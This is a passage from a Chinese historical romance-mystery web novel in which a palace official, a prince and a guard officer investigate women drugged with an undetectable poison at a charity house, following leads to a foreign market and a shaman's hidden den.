顾凌云迎上朱弘毅的目光,不闪不避,正色道:“王爷明鉴,是为济慈堂一案。” 他转而看向周妙雅:“那日在奉国寺,顾某见 周女官为流民孩童诊脉,手法娴熟,心怀仁善。济慈堂一案,牵扯众多女子,其中多有病弱伤残,寻常仵作,太医皆为男子,查验多有不便。顾某想请周女官从旁协助,探查那些受害女子的身体状况,或能发现更多线索。” 周妙雅心头一动,济慈堂,白芷受难的地方,那些无辜女子的埋骨之所…若能亲手掀开黑幕,为她们讨一个公道,便是赴汤蹈火也甘愿。 她眼中闪过一丝光亮,不由望向朱弘毅。 朱弘毅面色沉静,看不出情绪,嗓音却是冷硬,带着坚定的拒绝:“不妥。” 他望向顾凌云,语气疏离:“查案是北镇抚司分内之事,王府女官不宜涉入。况且,太医院退下来的王老太医等人已在此案中帮忙许久,若需查验女眷身体,他们自有妥善之法,何须劳动周女官?” 顾凌云眉头微蹙:“王爷,此案特殊,受害女子戒惧极深,王太医年事已高,且终究是男子,周女官通晓医理,又心怀仁念,由她出面,或可探得更隐秘的内情。” “正因此案特殊,才更不宜让她涉险。” 朱弘毅声线骤冷:“此案背后牵扯甚广,幕后之人穷凶极恶,本王断不能让周女官置身于如此险地。顾佥事若缺人手,本王可即刻奏明皇兄,增派医女相助。” 周妙雅站在朱弘毅身后,听着他斩钉截铁的回绝,心中那点刚刚燃起的火苗,似被一桶冰水瞬间浇灭。 她知道他是为她的安危着想,可那是济慈堂,是白芷差点丧命,无数冤魂呜咽的地方。 她望了望顾凌云诚恳而坚持的目光,又看了看身前朱弘毅那紧绷又坚决不肯让步的背影,一股不甘与正义感在胸中翻涌。 她深吸一口气,自朱弘毅身后微微探出半步,朝顾凌云敛衽福了一礼,声音清晰而坚定:“顾佥事,济慈堂一案,关乎众多女子性命与清白,若能尽绵薄之力,妙雅义不容辞。” 朱弘毅身形骤僵,他霍然回首,目光锐利地看向周妙雅,眼底翻涌交织着震惊与被忤逆的薄怒。 她竟当着他的面,应了顾凌云? 他目光如寒刃,压得她心口一窒,可她仍抬眸迎上,声音轻却倔强:“王爷,下官明白轻重,自会万般谨慎。何况有顾大人和北镇抚司同护,必能无恙。此事,下官想去。” 空气瞬间凝固… 朱弘毅死死盯着她,看着她眼中的那份坚持,那是属于周妙雅的,超出他庇护之外的执拗。 她到底是为了济慈堂,还是为了…眼前这个一再对她表示特殊的顾凌云? 顾凌云将两人之间的暗流尽收眼底,适时开口:“王爷放心,北镇抚司必定全力保障周女官安全,绝不会让她有丝毫损伤。” 朱弘毅沉默着,半晌,他猛地转回身,不再看周妙雅,只从牙缝里挤出一句冰冷的话: “随你。” 话音落地,他再不停留,拂袖而去,将周妙雅和顾凌云两人晾在了原地。 周妙雅看着他决绝离去的背影,心头像是被什么东西狠狠攥了一下,空落落的。 顾凌云察觉她眸光瞬间黯淡了下去,暗自叹息,却仍温声道:“既如此,顾某便先行告辞,具体事宜,待顾某安排妥当,再遣人来告知周女官。” 周妙雅勉强打起精神,点了点头:“有劳顾佥事。”—— 作者有话说:三人修罗场正式开启[求你了] 第38章 顾凌云走后, 周妙雅在原地站了许久,直到那抹飞鱼服的身影彻底消失在回廊尽头,她才缓缓转过身, 望向朱弘毅书房的方向。 院子里静悄悄的, 空气中仿佛还残留着方才剑拔弩张的余味。 周妙雅深吸一口气, 抬步朝书房走去。 书房的门紧闭着,长安守在门外,见她过来,面露难色,低声道:“姑娘,王爷他…” “我晓得。”周妙雅轻声打断他,示意他不必通传。她蹑手蹑脚地走到门边, 迟疑了片刻,还是轻轻推开了门。 书房内未点灯, 光线有些昏暗。朱弘毅背对着门口, 立于窗前,身型挺拔却透着一股生人勿近的冷漠。 周妙雅心口蓦地一紧。 她反手轻轻阖上门,悄声走到他身后几步远的地方停下。 “王爷…”她声音很轻, 夹杂着小心翼翼地试探:“生气了?” 窗前的身影纹丝未动,仿佛没听见。 空气中弥漫着令人窒息的沉默。 周妙雅抿了抿唇, 又悄悄往前挪了半步,柔声道:“我知道, 王爷是担心我的安危。济慈堂背后水深,凶手手段狠辣, 我都明白。” 她顿了顿,声音更软了几分,带着恳切:“可正因如此, 我才更想去,那些女子…她们太苦了,白芷受的罪,我不能让她白受,那些冤魂,也需要一个公道,我懂些医术,或许真能帮上一点忙,让真相早日大白。” 朱弘毅依旧没有回头,但紧绷的肩背线条似乎极轻地松了半分。 周妙雅鼓起勇气,轻步走到他身侧,仰头望向那被窗外的微光映得有些模糊的冷峻侧脸。 她声音低得近乎呢喃,尾音携着一点委屈:“我不是不信王爷的安排,也不是…不是冲着顾佥事才应的,我只是…只是想去做我觉得对的事,就像当初在田埂边,面对代王府的恶仆,我也站出来了,这是我的本性,改不了。” 听到顾佥事三个字,朱弘毅的睫毛颤动了一下。 良久,他才缓缓转过头,垂眸看着她。 昏暗的光线下,他的眼神复杂难辨,那里面似有未消的余怒,有深切的担忧,还有一丝被她话语触动的无奈。 他开口,声音有些沙哑:“本王知你心善,也知你倔强。” 他叹了口气,声音里透着疲惫与一丝妥协:“正因知道,才更不放心。” 他抬手,轻轻握住了她的手臂,眸中冷意渐渐褪去,只余柔软与坚定:“既你执意如此,我便陪你同去。” 周妙雅愣住了,怔怔地望着他。 方才他拂袖而去的决绝还历历在目,此刻却… 她原以为需要费更多唇舌,甚至已经做好了被他冷待几日的准备。 一股混杂着惊讶和感动的暖意瞬间涌上心头,冲散了之前的委屈与不安。 她鼻尖微酸,眸底浮起湿意,迎着他专注的目光,轻轻地点了点头,声音柔软,却带着无比的依赖:“…好。” 见她这般软软糯糯的情态,朱弘毅心头最后一点郁气也彻底消散了。 他指腹在她胳膊上微微收拢,语气又低又柔,叮嘱道:“晚秋时节,夜里风凉,尤其是那等地方,你需得万分小心,仔细身子,莫要逞强。” 这叮咛琐碎却熨帖,远比任何甜言蜜语更让人心动。 周妙雅只觉得脸上有些发烫,她垂下眼帘,浓密的睫毛像两把小扇子,轻轻颤动着,声若游丝道:“嗯,我记下了。” 瞥见她耳尖仍泛着薄红,朱弘毅心底一片温软,他松开手,只拈起她颊侧一缕不听话的碎发别至耳后: “地上凉,别站久了。” “是。”周妙雅应声,转身朝门口走去,脚步已比来时轻快许多。 在她即将推门而出时,身后忽又落下他低沉而清晰的叮嘱: “下次,莫要再这般冲动了。” 她眉眼不自觉地弯起,像两弯新月,声音清亮地应道:“知道了。” 长安守在书房外,瞧见周妙雅离去的身影,看着她步履轻盈,不似来时那般沉重,心下立时明了:王爷与周姑娘这是和好了。 他不由得松了口气,嘴角浮出欣慰的笑意,主子们心情舒畅,他们这些底下人当差也安心。 念及周姑娘身边那个叫白芷的姑娘还在用药,这会儿该到煎药的时辰了,青黛一个人怕是忙不过来,长安脚下方向一转,便朝着小厨房那边走去。 还没走近,浓苦的药香已混着晚秋的凉风飘来。 小厨房旁边的耳房门口,支着个小泥炉,青黛正坐在一个小杌子上,手里拿着把破蒲扇,对着炉火不紧不慢地扇着。 “青黛姑娘。”长安唤了一声,走上前去。 青黛闻声回头,见是他 ,忙要起身:“长安哥怎的有空过来?” “坐着,坐着,”长安摆摆手,自己也寻了个矮墩子坐在炉子另一边,顺手捡起几根柴火添进炉膛:“王爷和周姑娘那边没事了,瞧着是和好了。” 青黛一听,眼睛顿时亮了,一直紧绷的肩膀也松懈了下来:“真的?那可太好了!” 她说罢拍了拍心口:“阿弥陀佛,看王爷拂袖而去那架势,可真是吓死我了。” 长安看着跳跃的火苗,笑了笑:“咱们王爷啊,这脾气也就是在周姑娘这儿来得急,去得也快。” 说罢,他顿了顿,压低了声音道:“我瞧着,王爷是真心疼惜周姑娘的。” 青黛用力点了点头,像是觅得了知音:“我们姑娘当然值得,她心善,人也极好。” 说着,她又叹了口气,望向耳房,“只盼着白芷姐姐也能快点好起来。” 炉子上的药罐咕嘟咕嘟地响着,蒸汽顶着罐盖,散发出更浓的苦味。 “药差不多了。”长安提醒道。 青黛应了一声,忙用厚布垫着手,将药罐从火上端下来,长安则利落地取过一旁早已备好的滤网和瓷碗。 深褐色的药汁被缓缓滤进碗里,热气腾腾。 青黛端着药碗,两人一同走进了耳房。 白芷仍沉沉睡着,面色比前些日子好了些,但仍是苍白。青黛轻轻扶起她,在她身后垫上软枕,柔声唤道:“白芷姐姐,吃药了。” 白芷迷迷糊糊地睁开眼,眼神没有什么焦点,青黛一小勺一小勺地,耐心地将温热的药汁喂给她,长安在一旁静静看着,待白芷咽下药,便递去清水给她漱口。 喝完药,青黛仔细地替白芷擦了擦嘴角,或许是药物的作用,或许是感受到了熟悉的照料,白芷蜷缩着的身子微微放松了些,嘴里发出极轻的、模糊的呓语:“小姐…冷…” 青黛立刻给她掖好被角,眼圈微微发红,低声道:“姐姐不怕,暖和着呢,姑娘也好好的,你也要快点好起来。” 长安站在一旁,看着这场景,心里也说不出是什么滋味。 他默默地将药碗收拾好,对青黛道:“你且先照顾着,我去看看晚膳备得如何了,王爷和周姑娘心情好了,晚膳或许能多用些。” 青黛感激地点点头。 ———— 文府,书房 “哐当——” 砚台,镇纸,笔洗…一切触手可及之物皆被文毓瑾横扫落地,他的胸膛剧烈起伏着,原本温文尔雅的面庞扭曲的骇人。 “皇后赏赐,她凭什么?一个孤女,一个贱婢而已!”他低吼着,声音因极度愤怒而生出嘶哑。 宁王的维护,顾凌云的解围,这一切都像无数银针一般,扎得他的自尊心千疮百孔。 从前在文家,只要她不乖,他就能轻易地将她锁起来,锁个五天五夜,任她哭喊求饶,直至学乖。 如今她竟敢背着他,去招惹那些连他都惹不起的狂蜂浪蝶,好,好一个周妙雅! 暴怒如燎原之火,烧尽了他的理智,也烧干了他的力气。 他颓然跌坐在一片狼藉之中的太师椅上,气息粗重地喘息着。 书房内死寂一片,只余他急促的呼吸声。 他仰靠太师椅的椅背,缓缓闭上眼,手指带着轻颤,神经质地解开了腰间的玉带。 黑暗中,他看到周妙雅就跪在他面前,就在这一片狼藉之中。 她穿着赏花宴那日的那身浅碧色衣裙,一如在苏州时那般清丽绝俗。 她那张惯常带着疏离与倔强的小脸,此刻却写满了卑微的顺从与惊惧。 她仰望着他,那双他无比痴迷的,含情脉脉的眸子里,盈着泪水,满是哀求与讨好。 “雅儿…”他喉间溢出一声满足的喑叹。 她是他的,只能是他的! 然而,赏花宴上的现实很快就粉碎了他的幻想,怒气瞬间裹挟了他。 他的目光猛地扫向书房角落的那个上了锁的箱子,那里存放着他从汲古斋抢回来的,周妙雅那些未署名的画作。 此刻,这些画变得无比刺眼。 他像疯了一样冲过去,粗暴地砸开锁,将里面所有的画卷都抱了出来,狠狠摔在地上。 他点燃了烛火,抓起其中一幅画:“你不是清高吗?你不是不愿为妾吗?你不是攀上高枝了吗?” 他狰狞地笑着,声音嘶哑:“这些都是我的,我宁愿毁了,也绝不留给别人!” 话音落地,他将烛火凑近画卷。 火舌贪婪地舔舐着宣纸,画作瞬间焦黑卷曲。 他一幅又一幅地将那些凝聚着周妙雅心血的画卷投入火中,看着它们在火焰中痛苦地蜷缩,变黑,消散。 “周妙雅,我们,不死不休。” 第39章 三日后, 朱弘毅亲陪周妙雅来到了济慈堂。 北镇抚司早已将此处围得如铁桶一般,原本悬挂的济慈堂匾额被取下,随意弃置在墙角, 取而代之的是森严的死寂。 顾凌云早已等在门口, 见朱弘毅与周妙雅一同从马车上下来, 他的目光在朱弘毅身上停顿了一瞬,随即上前抱拳行礼:“王爷,周女官。” 他面上冷峻如常,只唇角极淡地牵动了一下,似有若无。 这位金尊玉贵的王爷竟亲自踏足这污秽之地,此事既出乎他意料,亦在情理之中。 令他意外的是, 此地腌臜,与宁王素日展现的风雅相去甚远… 意料之中, 则是因为周妙雅在此。 奉国寺外亲自接她回家, 赏花宴上诸般维护,此刻更是亲自陪同—— 为她,他倒是什么都做得出。 不过此处…可不是他怜香惜玉之地… 顾凌云神色不动, 侧身让开,声音冷峻而平淡:“现场已初步清理, 然秽气未散,若有冒犯, 还请王爷与女官海涵。” “有劳顾佥事。”朱弘毅微微颔首,语气平淡, 目光已越过顾凌云,扫向大门。他侧身一步,让周妙雅跟在自己身侧, 一同入内。 院内比想象中更为破败萧瑟,枯草没径,窗纸尽破,劣质脂粉,草药与腐臭混成一股令人作呕的浊气。 锦衣卫将受害女子驱至院中,约二三十人,个个衣衫褴褛,面黄肌瘦,目光或呆滞或惊恐,挤作一团瑟瑟发抖。 周妙雅放缓脚步,心口骤紧,却仍柔声靠近:“诸位莫怕,我是医女,只想看看你们是否安好。” 果然如顾凌云所言,她很快发现了一些异常。 在这些普遍营养不良的女子中,竟有七八个姿容颇为秀丽的。她们肌肤细腻,骨相清秀,却眼神空洞,或痴笑,或呆视,对外界毫无反应,如同精致却失了魂的人偶。 而旁侧的其他女子虽惊恐,神智却清醒,两相对照,诡异非常… 一个穿着桃红旧衫的女子忽然挣脱了看护的锦衣卫,嘻嘻笑着扑向朱弘毅,嘴里含糊不清地喊着:“爷,您来啦…奴婢给您唱曲儿…” 她眼神涣散,脸上带着不正常的潮红。 锦衣卫疾步上前,反手扣臂将她拖回。 朱弘毅眉头紧蹙,将周妙雅往自己身后又挡了挡。 周妙雅却轻轻按住他的手臂,从他身侧走出,抬手示意锦衣卫稍安,莫要硬拽。 她慢慢靠近那女子,半蹲到她面前,声音放得极柔:“姐姐,你认得我么?” 只见那身着桃红衫的女子歪头痴笑,嘴角涎水滑落,忽然瞳孔剧缩,双手抱头尖叫:“别打我…我听话!我吃药…我吃!” 吃药? 周妙雅与朱弘毅交换了一个眼神。 她又试着低声探问了其余几个神智昏乱的女子,所得回应如出一辙:听见药字便面如土色,反应激烈,甚至抱头哭喊求饶。 她起 身,转向一直沉默随侧的顾凌云:“顾佥事,敢问这些女子平素由何人照看?所服何药,可有药方或药渣留存?” 顾凌云摇头,面色凝重:“已连夜提审过,原本负责此处的婆子仆役,在案发后几乎逃散一空,抓住的几个也只说是上头吩咐,按时给这些不听话的姑娘灌药,至于说具体灌的什么药,他们一概不知,药方更是无从查起。” 他顿了顿,补充道:“后山发现的尸首,经仵作初步查验,生前也多有心脉受损,神魂涣散之兆。” 周妙雅蹲下身,指尖在地上蹭了蹭,捡起一小簇未被清扫干净的褐色药渣,放在鼻尖轻轻嗅了嗅。 她眉头锁紧,将这药渣用手帕小心包好。 “她们并非天生痴傻,”她站起身,声音压着怒意:“应是长期被药物摧残,损了心神。” 朱弘毅的目光扫过那些形容枯槁,神志全无的女子,最后落在周妙雅紧握的手帕上,眼神冰寒:“能查出来是什么药么?” 周妙雅思虑片刻,低声道:“此药奇怪,从药渣的气味来看,并无异常,我需请教王老太医。” 顾凌云立即会意,着人叫来了一直在济慈堂帮忙的王老太医。 王老太医捻起周妙雅手帕里包的那点褐色药渣,仔细端详,又凑近鼻尖反复嗅闻,他花白的眉毛越皱越紧,最终,他放下药渣,摇了摇头。 他语气中带着困惑:“回王爷,回女官,此药渣…老夫反复查验,其中无非是些安神定惊的寻常药材,如酸枣仁,远志,柏子仁之类,药性平和,绝无可能导致那般疯癫之症。” 周妙雅的心头骤沉… 这反应,这结论,与当初她把装有文老太太生前服用过药渣的罐子从玉清观抱回来,私下寻来宁王府的老医官查验时,一模一样。 当时,她也怀疑康婧瑶在祖母的药中做了手脚,可查验结果同样是药渣毫无问题,线索便是在那里彻底中断,成了她心头一个无法释怀的疑团。 如今,同样的事情,竟然在济慈堂这里重演了。 一股寒意顺着她的脊背悄然爬升。 这绝非巧合… 她定了定神,看向王老太医,声音因紧绷而显得有些轻:“王老太医,请恕晚辈冒昧一问,这世上…是否存在一种毒药,或者邪门的方子,能无色无味,其药性完全融入汤水,事后在药渣上,却查不出丝毫异常?” 王老太医闻言,面露惊诧,他捋着胡须,沉吟了许久。 “这个……”他缓缓道:“医道一途,深如瀚海,老夫行医一生,确曾听闻过一些近乎传说的诡异秘药。有些奇毒,并非靠药材本身发作,而是通过极其特殊的炼制手法,将药性炼入汤水,药渣反而如同被榨尽的糟粕,看似与寻常药材无异,更有甚者,需以特定药引催发,方能显效。” 周妙雅的心跳骤然加速。 王老太医的话,瞬间揭开了她心中的迷雾。 文老太太的药渣,济慈堂的药渣,都毫无异常。 这绝非偶然,这背后,很可能隐藏着同一种手段,甚至是同一伙人。 冰冷的战栗自脚底升起,瞬时遍布全身。 如果她的猜测是真的,那么对手的可怕程度,远超出她的想象。这不再是后宅妇人的阴私手段,而是一条潜行暗处的庞大黑链。 她强压下心头的惊涛骇浪,追问道:“老先生,若依您所言,此类秘药,通常源自何处?可有迹可循?” 王老太医摇了摇头,面色凝重:“此等阴损之物,多为别国宫廷秘制,比如北狄,西域,或是某些隐而不传的邪派医门所为,比如苗疆,南诏…其踪迹难寻,老夫也只是听闻,未曾亲见。” 别国宫廷…邪派医门…若真如王老太医所言,那么此毒到底经何渠道流入大晟,其幕后黑手又潜藏于何处? 细思极恐… ————— 回到王府,周妙雅片刻未歇,直奔瀚海楼。 她心中已有了明确的方向。 既然大晟正统医书查不出端倪,那么线索,或许就藏在那些被视为旁门左道的域外典籍之中。 她要将所有关于西域,北狄,南诏,苗疆的医书,杂记,游记,统统找出来。 朱弘毅跟了进来,见她已埋首书海,便知她心中所想。他走到她身侧,沉吟片刻,开口道:“你既决意从此处着手,有些事,你需知晓。” 周妙雅闻言,书卷中抬起头,目光灼灼地望向他。 朱弘毅的声音平稳而清晰,为她勾勒出大晟周边的局势: “西域诸国,与我朝近年来已无战事,商路也算通畅,代王叔此前便镇守西北边疆,近年因边疆太平,他打点魏琰,得以举家回京享福。” “南诏,苗疆,向来是我朝附属,由世家镇守,南诏由沐家镇守,苗疆则由马家世袭,他们在当地经营数代,根基深厚,威望甚高。” 他话锋微顿,目光掠过周妙雅专注的侧脸,声音沉了几分:“如今与大晟关系最僵的,是北狄,他们占据辽东以东以北的大片土地,几十年来纷争不断,边民苦之久矣。自十八年前,辽东那场惨败之后,朝廷再无人能有效制衡北狄,边患日亟。” 周妙雅并未察觉他言语中这细微的停顿与避忌,只是静静听着,脑中飞快地将这些信息与眼前的谜团串联。 西域太平,商路通达,若有奇药流入,渠道最多。 南诏,苗疆虽为附属,但山高皇帝远,当地土司,巫医势力盘根错节,若有人借沐家,马家之名行阴私之事,亦非不可能。 而北狄…血仇在前,既是死敌,手段必然更为残酷隐秘,利用此等药物渗透,破坏,动机十足。 周妙雅抬眸,若有所思道:“王爷的意思是,这药物的来源,可能与这几方势力都脱不开干系?甚至可能与朝中之人有所勾结?” 她心中暗暗想着,却未敢说出口… 比如,刚刚从西北回京,且与魏琰关系匪浅的代王? 比如,在附属之地权势熏天的沐家、马家? 再比如,与北狄交锋的前线…或是朝中与北狄暗通款曲之人? 朱弘毅未置可否,只是凝着她,眸底暗潮汹涌:“查案如抽丝剥茧,有时看似最不可能的线索,反而通向真相,你既有心从域外医术查起,便放手去做。” 他顿了顿,将复杂的情绪压下,语气恢复如常:“瀚海楼中此类典籍或有收录,但未必齐全。明日,我带你去见徐师傅,他编纂《坤舆万国全图》,结交甚广,或能提供更多域外医书的线索,甚至,能引荐一些精通此道之人。” “多谢王爷。”周妙雅低声应下,目光落回手中的书卷,眼神愈发坚定。 朱弘毅见她又埋首进书海,他深知她那股执拗的劲儿一上来,谁也拦不住,只好放任于她。 不过临走前他还是不放心地叮嘱道:“你需得记住,每多翻一页,都可能触到旁人的逆鳞。”—— 作者有话说:北狄就是后金啦,本文用的都是化名 第40章 瀚海楼内, 烛火彻夜未熄。 周妙雅将自己埋进那些搜寻来的域外医书里,北狄,西域, 南诏, 苗疆…书页泛黄, 字迹古怪,图绘粗粝。她逐字逐句地啃读,看得眼酸头胀,却仍找不到那种能隐匿于无形的秘药,如大海捞针,毫无头绪。 朱弘毅进来时,见她正对着一本描绘着奇形怪状草药的南诏杂记出神。 他伸手, 轻轻合上了她面前的书册。 周妙雅茫然抬头。 “闭门造车,徒耗精神。” 他声音平稳:“走吧, 随我去徐师傅府上瞧瞧。” 马车驶出王府, 拐进城西一条安静的胡同里。 两人刚下马车,还未进徐府书房,便听得里面传来一阵语调奇特, 略显生硬的大晟官话,正激烈地争辩着:“徐大人, 您不能否认,大地是圆的, 犹如球体…” 紧接着是徐明阳带着笑意却半步不让的声音:“艾 先生,《周髀算经》有云, 天象盖笠,地法覆盘,你我观测皆有其据, 不必强求一致。” 朱弘毅与周妙雅步入书房时,见徐明阳正与一位鬓发卷曲、鼻梁高挺的中年人相对而坐,那人虽一幅西洋人面孔,但身着深色道袍,头戴方巾,俨然一副早已融入大晟人的模样。 两人之间的气氛算不得紧张,倒像以论会友,各执一理,互不相让。 见他们进来,徐明阳与那西洋人便停了话头,起身相迎。 “王爷,周女官。” 徐明阳拱手为礼,神色如常,随即侧身向那西洋人介绍:“艾儒略先生,这位是宁王殿下,当今圣上的亲弟。这位是陛下亲封的宁王府司画女官,周妙雅姑娘。” 名为艾儒略的西洋人依着大晟礼节,有些生硬地抱拳,碧色眸子在周妙雅身上停了一瞬,含着几分纯粹的好奇与探究:“在我们欧罗巴,宫廷中也有女官大人们,她们多来自贵族家庭,负责王后或者公主们的私人起居,并陪驾赴宴。” 朱弘毅含笑道:“艾先生可能有所不知,在我们大晟,女官并非出身贵族家庭,她们是靠自己的真才实学,通过参加考试,成为宫廷女官的。” 艾儒略闻言,碧色的眼眸微微睁大,露出极为讶异的神色:“通过考试选拔?这真是令人惊叹的制度。” 他转向周妙雅,语气变得格外郑重:“如此说来,周女官必定是凭借真才实学入选的。在我们欧罗巴,女子虽然也能接受教育,但大多局限于音乐,绘画和礼仪。能够像男子一样通过考试获得官职,实在闻所未闻。” 徐明阳在一旁捻须微笑,适时补充道:“艾先生,我朝自开国以来便设有女官制度,宫中设六局二十四司,皆由女官执掌,她们不仅通晓经史,更是兼擅书画,医药等诸多实务。” 艾儒略忍不住击掌赞叹:“妙哉!这实在是用贵国的话说,是唯才是举。” 朱弘毅微微颔首,表示赞同:“艾先生,我们曾在宫里见过。你进献的望远镜,皇兄爱不释手,夜观星象必携之。前日内官监那架自鸣钟停摆,亦是劳你出手,才得以恢复如常。” 艾儒略脸上立刻露出了真切的笑容,显然对此番认可极为受用:“能为陛下效劳,是在下的荣幸。王爷记得如此清楚,令人感动。” 他的官话虽听着仍有些别扭,但意思表达得颇为清晰。 徐明阳请二人落座,侍童奉上清茶。 他已敛去方才与艾儒略辩论时的锐气,恢复了长者般的温煦:“王爷与周女官今日前来,可是为了《坤舆万国全图》尚有未尽之处?” 周妙雅看向朱弘毅,朱弘毅会意,将茶盏轻轻搁下,代为开口:“并非为全图之事,徐师傅知道,妙雅对医术颇有了解,近日她助王老太医整理域外医书,牵扯到一些域外流传的奇药,性状诡异,王老太医亦对此无任何头绪,想起徐师傅学贯中西,交游广阔,或能指点一二,开阔思路。” “域外奇药?是何种域外奇药?王老太医在太医院任职几十载,竟也无任何头绪?”徐明阳捋须沉吟,目光在书架间游移,似在脑海中检索相关的见闻。 朱弘毅补充道:“此种奇药无色无味,其药性完全融于汤水,事后在药渣上,看不出丝毫异常。” 一旁的艾儒略却忽然倾身,语气中带着他特有的直接与热情:“王爷,尊贵的女官阁下,若说要寻找来自异邦的,不同寻常的药物,或许不必立刻将目光投向万里之外。” 他伸手指了一个大致的方向:“在京城南门外,临近运河码头的地方,自发形成了一处集市。许多从远方来的商人,北狄的皮货商,西域的胡商,南诏苗疆来的行脚货郎,甚至来自更遥远的海上,如琉球,倭国乃至我们欧罗巴的商人,都会在那里交易一些本国的特产与稀罕物件。那里鱼龙混杂,消息灵通,或许能有你们想要的运气。” 南城集市? 周妙雅心中一动,她知道那个地方,是三教九流汇聚之所,充斥着来自天南海北的货物与人,也充斥着官府难以触及的灰色地带。 她下意识地看向朱弘毅。 朱弘毅神色未变,只眼底掠过一丝考量,他看向艾儒略,微微颔首:“多谢先生指点。” 艾儒略在胸前划了个十字,语气诚挚:“愿主保佑你们,能找到所需之物,照亮前路。” 离开徐府,重新坐上马车,周妙雅仍沉浸在方才短暂的见闻里。 那位言辞奇异,信仰不同的西洋传教士,以及他口中那个仿佛囊括了微缩万国的南城集市。 她抬起眼,看向坐在对面的朱弘毅:“王爷,我们去那个集市看看,可好?” “嗯。”他应了一声,随即敲了敲车厢壁,对外吩咐道:“先回府。” 待马车转向,朝着宁王府平稳驶去,他才复又开口,声音低沉:“回去换身寻常布衣,钗环尽去,那种地方,不宜声张。” 周妙雅点头:“我明白。” ———— 马车在距集市尚有半条街的地方停下。 周妙雅与朱弘毅先后下车,两人皆是一身半旧青布衣衫,周妙雅用同色布巾包了头发,身上再无半点饰物。朱弘毅亦将通身贵气敛去,只扮作家境尚可,面容冷峻的寻常书生。 尚未走近,一股混杂着牲畜体味,香料与腥咸河风的气味便扑面而来。 这里人声鼎沸,各色口音的叫卖,讨价还价声,骡马嘶鸣搅作一团。 放眼望去,棚屋简陋,摊位杂乱。 操着北狄口音的商贩在叫卖皮毛,皮肤黝黑的南诏人摆着竹编器物,几个穿着和服的倭人正在擦拭刀剑,更有金发碧眼的欧罗巴人,与裹着头巾的西域人比划着手势交易。 朱弘毅侧身把周妙雅往怀里一带,避开了一个扛麻袋跌撞而过的苦力。 “跟紧些。”他低声吩咐,目光如刃扫过人群。 周妙雅轻轻应声,注意力已投向那些可能与药材有关的摊位。 她看到有卖常见草药的,也有摆着风干蛇蝎,奇形怪状矿石的摊位。 她在一个卖南洋香料的摊子前停下,捻起一点褐色粉末闻了闻,又轻轻放下。 “要找什么?”那摊主懒洋洋地开口,带着浓重的闽地口音。 周妙雅声音不高:“想寻些罕见的药材,最好是药性特殊,或者…中原医书上记载不多的。” 摊主掀了掀眼皮,打量了她一眼,又瞥见她身后沉默而立,气质不容小觑的朱弘毅,摇了摇头:“这里都是正经香料,姑娘去别处问问吧。” 接连问了几家,皆是如此,要么没有,要么一听她问及药性特殊或域外奇药,便讳莫如深地闭口不言。 朱弘毅眉峰渐紧,这地方的警惕性,比他预想的更高。 正思忖间,一个瘦小的身影凑了过来,是个约莫十来岁,衣衫褴褛的小乞儿,眼睛机警地乱转。 他压低了声音,脏兮兮的手朝集市深处一条更杂乱的窄巷指了指:“这位爷和姑娘,是在找稀罕药材?可以去那边鬼市巷子瞧瞧,不过那儿,得懂规矩,生面孔可不好进。” 朱弘毅目光落在那小乞儿身上,未言语,只从袖中摸出几个铜钱递了过去。 小乞儿一把抓过,呲溜一下便钻回人群不见了。 两人对望一眼,朝着那小乞儿所指的方向走去。 越往里,光线愈暗,两侧棚屋低矮,污水横流,往来之人神色也愈发诡秘,毫不遮掩地打量着他们,像审视误入领地的猎物。 周妙雅正要往前迈步,一道身影从阴影中疾步走出,拦在两人面前。 “二位留步。” 顾凌云不知何时出现在这里,穿着一身不起眼的灰布短打,头上戴着斗笠。他目光扫过朱弘毅和周妙雅这身布衣打扮,眉头微蹙。 “顾佥事?”周妙雅略显诧异。 顾凌云微微颔首,声音压得极低:“这地方不是你们该来的。” 他侧身挡住巷口,示意二人看向深处那几道模糊的黑影:“这里做的是见不得光的买卖,生面孔贸然进去,要么被当成暗桩,要么被下了蒙汗药扔进运河。” 朱弘毅目光一沉:“你跟踪我们?” 顾凌云语气平淡,他随意找了个借口,掩盖了自己跟踪朱弘毅和周妙雅的事实:“恰巧在附近查案,济慈堂 的线索既然指向域外奇药,我自然要来这里看看,只是没想到二位动作这么快。” 他说话间,巷内一个疤脸汉子朝这边瞥了一眼,与顾凌云目光一触,立即低下头去,默默缩入了阴影之中。 周妙雅注意到这个细节:“顾佥事对这里很熟?” 顾凌云语气平淡:“北镇抚司的差事,难免要与三教九流打交道,这巷子里的规矩,生人进去得有人引荐,正好我要查的几个药贩子在这里有些门路。” 他领着二人绕过这条死巷,往集市另一头走去:“要找那种在药渣里验不出的奇药,得换个方式问。”《 》 40-50 第41章 顾凌云带着二人穿过集市最嘈杂的巷口, 拐进一条被破筐烂箱堵死的胡同。 死胡同的尽头是一面斑驳的砖墙,他抬手,有节奏地叩击墙面, 三长两短再一长。 墙内传来铁链嚓嚓滑动的声音, 一道暗门无声开启, 门后站着个精瘦的汉子,腰间大红腰带扎得刺眼。 顾凌云压低嗓音:“山高路远,借碗水喝。” 汉子眯眼打量着三人:“水凉,怕客人肠胃受不住。” “火气旺,正好。” 暗号对上,汉子不再多言,自怀中掏出三条厚实的黑布:“照规矩。” 朱弘毅眉峰轻蹙, 顾凌云已率先蒙上双眼。 略一迟疑,朱弘毅拿起黑布, 他先将周妙雅的双眼蒙好, 又把自己的双眼蒙上。 随即不动声色地往后伸手,低声道:“拉紧我。” 周妙雅会意,立刻牢牢握住他温热的手掌。 视线虽被彻底剥夺, 但嗅觉与听觉却倏然被放大。 那汉子在前,引着他们三人深一脚浅一脚地走着, 路面忽高忽低,拐了不下十个弯。 周妙雅凝神细辨:先是集市残存的辛烈香料味, 之后是一段潮湿的霉味,好似穿过地道, 最后,是一丝若有若无的奇异藩香,愈行愈浓。 她心中默默记着这些气味的变化, 不敢有一丝遗漏。 约莫走了一炷香的时间,引路人突然顿住了脚步。 眼上的黑布被猛地抽下。 火光刺目,周妙雅不禁眯起了双眼。 他们身处在一个宽敞的石室,墙壁上火把摇曳,光影交错。那股异域藩香的气味骤然浓烈,源头正是石室中央铜盆里燃烧的黑色块片,青烟袅袅。 两侧肃立着八名带刀守卫,个个眼神精悍,手按刀柄。 正前方,一张铺着完整黑熊皮的宽大石椅上,坐着一个身影。 那人披着色彩斑斓,绣满诡异纹样的宽大袍服,脸上涂着红白相间的油彩,看不清面容,只露出一双深不见底的漆黑眸子,指间缓缓捻动着一串细骨编成的链子。 在看清环境的瞬间,朱弘毅与顾凌云已同时上前半步,一左一右把周妙雅严严实实地挡在身后。 巫医缓缓开口:“来着何人?所谓何事?” 周妙雅从挡在身前的二人之间走出,目光平静,毫无惧色地迎上巫医的双眸: 